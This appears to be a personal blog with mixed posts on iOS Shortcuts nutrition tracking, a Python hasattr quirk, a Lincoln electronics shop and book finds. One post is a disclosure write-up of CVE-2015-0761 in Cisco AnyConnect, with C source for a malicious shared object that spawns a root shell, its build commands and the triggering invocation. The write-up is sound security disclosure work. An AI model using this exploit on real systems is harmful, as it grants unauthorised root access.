Nutrition tracking with iOS Shortcuts and HealthView

On most days I struggle to eat enough, so I find it useful to track my dietary intake from time to time. There are many apps for this, but of the ones I’ve looked at, I always found they did too much or were too fiddly, maybe they needed an account on a remote system, or were not straightforward about how my data would be used. I resorted to coming up with a home-brew solution based mainly on iOS Shortcuts that fits my needs pretty well.

Requirements

  • All UI and info visible on one easy-to-get-to screen on my iPhone.
  • All data stored locally in a database or in Health.
  • Shortcuts to record things I commonly eat; a quick way to enter nutritional info for other things.
  • Tracks calories and protein – the two things I am regularly short on.

Solution

The dashboard is in the Today View, and it looks like this:

Nutrition tracking dashboard

From here I can record dietary intake, and see at a glance how my energy intake for today compares to expenditure.

To record intake, I hit the relevant shortcut, which writes data into Health at today’s date – I’ve kept data entry simple, because anything complicated will be rarely needed and can be done in the Health app anyway. Shortcuts have different behaviour depending on possible variations in the item they record:

  • Items with no variation, such as Porridge, ask for confirmation (in case I accidentally hit the shortcut) then record fixed values (e.g 379 kcal, 24g protein).
  • Items that come in different sizes, like an apple (small, medium, large) prompt for the size of the item, then record values appropriate to the selected size.
  • For items I don’t eat regularly, I can hit “Other”, which prompts for the calorie and protein values to record.

Shortcut implementation

The “Log Health Sample” action is used to record data, and the shortcuts combine these actions with appropriate prompts – e.g. for Porridge, “Show Alert” is used to confirm:

Porridge shortcut implementation

Or for an apple, “Choose From Menu” is used:

Apple menu implementation

along with different “Log Health Sample” actions for each choice:

Small apple choice

“Other” uses the “Ask” action to input calorie and protein values, and use “Provided Input” in the “Log Health Sample” actions:

Asking for Calories

Info view implementation

I couldn’t find a built-in way to display Health data in a convenient form in the Today View, so I’m using the HealthView app to do this. My considerations in choosing it were:

  • It’s reasonably priced (£5.99 for lifetime use).
  • It claims not to share or use the data for any purpose other than displaying it.
  • Even if the claim about data is a lie, I have set it to only have permission to read (and not write) Dietary Energy, Total Energy, and Protein – I can live with this small amount of specific data being Mia-used.
  • It seems to work well enough – I could figure out how to use it and not encounter any irritating bugs or misfeatures well within the 14-day free trial.

To get the view shown in the Today view, all I had to do was select the data I wanted in “Today Widget Data Sets”:

HealthView widget settings

Although I hadn’t considered it in my requirements, HealthView also supports displaying information on an Apple Watch, which has turned out to be pretty convenient. It supports showing data in complications and in an accompanying Watch app.

Using complications didn’t really work for me – I found that I needed too many to see everything I’m interested in (even though that’s only 3 items) at a glance, and I wasn’t willing to give up other functionality on my faces to fit these all in. I was also not keen on adding another face to show all the info, as I don’t expect I’d look at it much if I had to keep swiping over to it to check.

However, the Watch app is working well for me. After adding the same categories to the Apple Watch Data Sets settings:

Apple Watch App data sets (Protein also selected, but is off the screen)

I can check current values on the watch:

HealthView Watch app screenshot

This is quite convenient for checking quickly whether I’m lagging far behind what I ought to have eaten. A nice touch is that the time and date that the data was last refreshed is also shown:

View of “Last Updated”

This is quite handy as I’ve noticed that some Watch apps can be quite poor at showing up-to-date data (Hello, British Airways!) – although HealthView seems to stay well in-sync between the watch and phone, it’s reassuring to be able to verify that the synchronisation is recent.

Concluding thoughts on Shortcuts

Shortcuts provides the ability to quickly and easily build something app-like without having to use a Mac and XCode (which would be expensive and requires a lot of expertise), in a form accessible to non-developers. This my first attempt at building anything with Shortcuts, and it only took a couple of hours from starting with an idea all the way up to having tweaked things to work exactly as I wanted.

I’m keen to share how to use it with non-technical friends and acquaintances, to see how it can be useful to them, and what they can implement and automate with it. That it is available on every iOS device, with little technical knowledge required to accomplish a great deal, makes it a very interesting and powerful No Code platform.

Surprises with hasattr and the property decorator

Some Python fun: what does the following code print? And why?

import os

class A:
    @property
    def meth0(self):
        return None

    @property
    def meth1(self):
        return os.whoops

    @property
    def meth2(self):
        return whoops

    
a = A()
print(hasattr(a, 'meth0'))
print(hasattr(a, 'meth1'))
print(hasattr(a, 'meth2'))

The answer could be a little irritating:

True
False
Traceback (most recent call last):
  File "test.py", line 19, in <module>
    print(hasattr(a, 'meth2'))
  File "test.py", line 14, in meth2
    return whoops
NameError: name 'whoops' is not defined

It would be nice (or perhaps less surprising) if the output were instead:

True
True
True

So what’s happening here? A combination of things:

  • hasattr tests for the presence of an attribute by calling getattr on the attribute name, and catching AttributeError.
  • When getattr is called for meth1 it throws an AttributeError – not because meth1 doesn’t exist, but because os.whoops doesn’t – this propagates until it is caught by hasattr, which then concludes that the object has no method meth1.
  • When getattr is called for meth2, a NameError is thrown instead, which isn’t caught by hasattr, so we observe a different behaviour that can appear “inconsistent” with the behaviour for meth1.

Sometimes the behaviour exhibited with meth1 can mask an AttributeError due to a bug in the code for a property. For example:

import socket

class Data:
    def __init__(self, payload):
        self.payload = payload

class Packet(Data):
    @property
    def ip_address(self):
        hostname = socket.gethostname()
        # Type: should be `gethostbyname`
        return socket.getbyname(hostname)

class Frame(Data):
    @property
    def ethernet_address(self):
        return "00:11:22:33:44:55"

# Create a packet
p = Packet("HELLO WORLD")

# Handle p based on whether it is a Frame or a Packet

if hasattr(p, 'ip_address'):
    print("Packet with payload '%s'" % p.payload)
else:
    print("Frame with payload '%s'" % p.payload)

The output is, (maybe) surprisingly:

Frame with payload 'HELLO WORLD'

p is actually a Packet but it is mistreated as a Frame – in this straight-line, rather contrived example, it appears clear what’s happening. In the context of a larger program where the code is spread across multiple modules and functions along with other code, tracing the source of such a problem can be a little more time consuming and confusing – I encountered exactly this issue recently when debugging an issue in Numba, which left enough of an impression on me to motivate this post!

Things from Birkett’s

Birkett’s is a shop at the bottom of Steep Hill in Lincoln with a huge array of new and used electronic bits and pieces. Over the years many seem to have got to know the shop and owner and developed fond memories.

Birketts shop front

The windows are full of interesting paraphernalia – knobs, dials, switches, plugs…

More bits and pieces:

And more:

Every item in the window is neatly labelled and priced – a form of highly organised chaos.

I’ve had some interest in electronics since childhood, and although I spent a little bit of time in the shop, I haven’t yet got to know the owner very well. I recall Matthew, who was always very helpful and patient with my enquiries – he worked there for some years before moving on to other things. Some items I’ve bought from Birketts over the years are:

  • Age 11 or so, I picked up Veroboard and some components for a computer controlled robot – I never completed the project, unfortunately.
  • Solder – probably leaded.
  • Speaker wire – I had an old amplifier and speakers, and I wanted to place a speaker further away from the amp.
  • Shortly after finishing school, I bought a pile of old Cisco 3500(?) series switches – mostly they were a bit dodgy and struggled to boot up, but were good enough for practice for the CCNA exam.
  • An unusual fuse, to trick a laser printer into thinking it had a new oil roller fitted.
  • A relay, for converting a normally open door lock controller to work with a magnetic lock that required constant power to stay locked.

Birkett’s is open on Tuesdays, Thursdays, Fridays, and Saturdays, from 10am until 3pm.

Exploiting CVE-2015-0761 – LPE in Cisco AnyConnect client

Cisco AnyConnect 4.0.00048 and earlier for Linux have a Local Privilege Escalation vulnerability (CVE-2015-0761) due to the use of a setuid root binary that can be made to load a shared object from a user-writable location. This binary, vpnagentd, has an undocumented option, -verify_certs, which takes three additional parameters. I do not know what the option is supposed to be for, or what valid arguments to it would look like, but if it is invoked with:

./vpnagentd -verify_certs 1 1 1

then in certain circumstances it can be observed attempting to load libnssckbi.so from the user’s Firefox profile folder – for example (output from stracing):

open("/home/gmarkall/.mozilla/firefox/kuy2t5i9.default/libnssckbi.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

At this point the effective UID has already been set to the invoking user’s UID. Exploiting the vulnerability is therefore a case of creating a shared object that will suitably set the effective UID back and spawn a shell when it is loaded:

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

void f() {
  printf("Attempt to set euid\n");
  int err = setresuid(-1, 0, -1);
  printf("Setresuid result = %d\n", err);
  if (err) {
    return;
  }
  printf("Attempt to launch shell");
  char *tmp[] = {NULL};
  execv("/bin/sh", tmp);
}

Compiled with:

gcc -c -Wall -Werror -fpic exploit.c
gcc -shared -o libnssckbi.so -Wl,-init,f exploit.o

and copied to the Firefox profile folder, (e.g. /home/gmarkall/.mozilla/firefox/kuy2t5i9.default). Then when we invoke vpnagentd again:

$ ./vpnagentd -verify_certs 1 1 1
Attempt to set euid
Setresuid result = 0
Attempt to launch shell
$ whoami
root
$ id
uid=1000(gmarkall) gid=1000(gmarkall) euid=0(root) groups=...

Reliability

libnssckbi.so is not loaded in all circumstances – after some experimentation and reading of the source of NSS, I couldn’t work out exactly why it would or wouldn’t be loaded. My notes on this are:

  • I tested this on Ubuntu 14.04 LTS, using the distro packaged NSS library depended on by Firefox 31.
  • The SO was loaded when invoking vpnagentd with normal user accounts.
  • For users that are administrators (i.e. members of the sudo group), something different seems to occur and it does not load the SO.
  • After some invocations of vpnagentd, /usr/lib/firefox/libnssckbi.so gets registered in secmod.db in the Firefox profile folder. Once this happens, libnssckbi.so will never be loaded from the user’s profile folder, until secmod.db is deleted.

Disclosure and fix

I reported the issue to Cisco PSIRT who responded promptly acknowledging the issue. The vulnerability was fixed in the next release of AnyConnect for Linux (4.0.2052.0), which removed the setuid root bit from vpnagentd (and several other binaries in the software distribution).

I don’t recall exact timescales for the report and fix but I recall that the experience of reporting the vulnerability to Cisco was positive – this was the first time I’d reported a vulnerability and I was nervous about what the nature of the response might be. If I discovered another vulnerability in a Cisco product or service I’d happily report again.

Conclusions and thoughts

The existence of such a vulnerability and the fix for it implies at least a couple of points:

  • Avoid gratuitous use of setuid root! The fact that several binaries in the distribution were setuid root, and could have this setting removed implies that it was not really needed, and happened to be convenient for the implementation, but increases the risk of an LPE being present.
  • If a binary does need to run as root, beware of what third party libraries outside of your control may do – in this case, vpnagentd dynamically linked against NSS, which is provided by the system on which AnyConnect is installed, instead of as part of the AnyConnect distribution – perhaps it was unforeseen in part that loading a shared object from a user’s Firefox profile folder would occur because a different version / build tested by Cisco did not do this.

Dragonfly passed

A dragonfly died in our conservatory. I don’t see them often, and they are full of intricacy – it seemed a waste to throw away. It is now mounted on a piece of card:

Dragonfly on card

From time to time, I enjoy the wing pattern.

A book of patterns

Our elder child (now 3) seemed very excited by patterns when he was a baby – whenever he was placed in front of one, his arms and legs started going and he would breathe fast and light. I intended to compile a book of patterns that we could look at and enjoy together, but of course, I never got round to it.

Now our younger child (a few weeks old) looks like he might have a similar appreciation of patterns, I’m not taking any chances with my ability to get stuff done, and I bought a book of William Morris illustrations from eBay instead:

Essential William Morris

Each work has some description and background:

Dove and Rose background

And a full page print:

Dove and Rose

Plenty of patterns to enjoy:

The book is a nice companion to my mug, too:

Christchurch Wallpaper mug

Charity shelf book find

Waiting in line at the post office, I scanned the 50p charity book shelf. The cover caught my eye at first:

Patterned book cover

I had to pick it up to see the title:

The Pocket Book of Great Operas

Inside, a summary of various operas:

Contents page

Each opera has an illustration and cast list:

The Barber of Seville illustration and cast list

As well as a synopsis of each act, thematic guides are provided too:

Thematic guide to The Barber of Seville

Not a bad find for 50p!